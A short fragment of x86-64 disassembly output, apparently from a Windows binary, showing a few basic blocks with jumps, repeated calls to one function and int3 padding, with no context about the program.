cmp rax, 0x1f
xchg rcx, rcx
ja 0x140048351
call fcn.1400e8bd0
mov eax, ebx
jmp 0x1400482e3
xchg rsp, r11
movaps xmm9, xmmword [rsp - 0x40]
xchg r11, rsp
mov rsp, r11
mov dword [rsp - 0x28], ecx
jmp 0x1400480f8
call fcn.1400ef88c
nop
call fcn.1400ef88c
mov dword [rsp - 0x44], esi
nop
call fcn.1400ef88c
jmp 0x14004836b
int3
call fcn.1400ef88c
int3
call fcn.1400ef88c
int3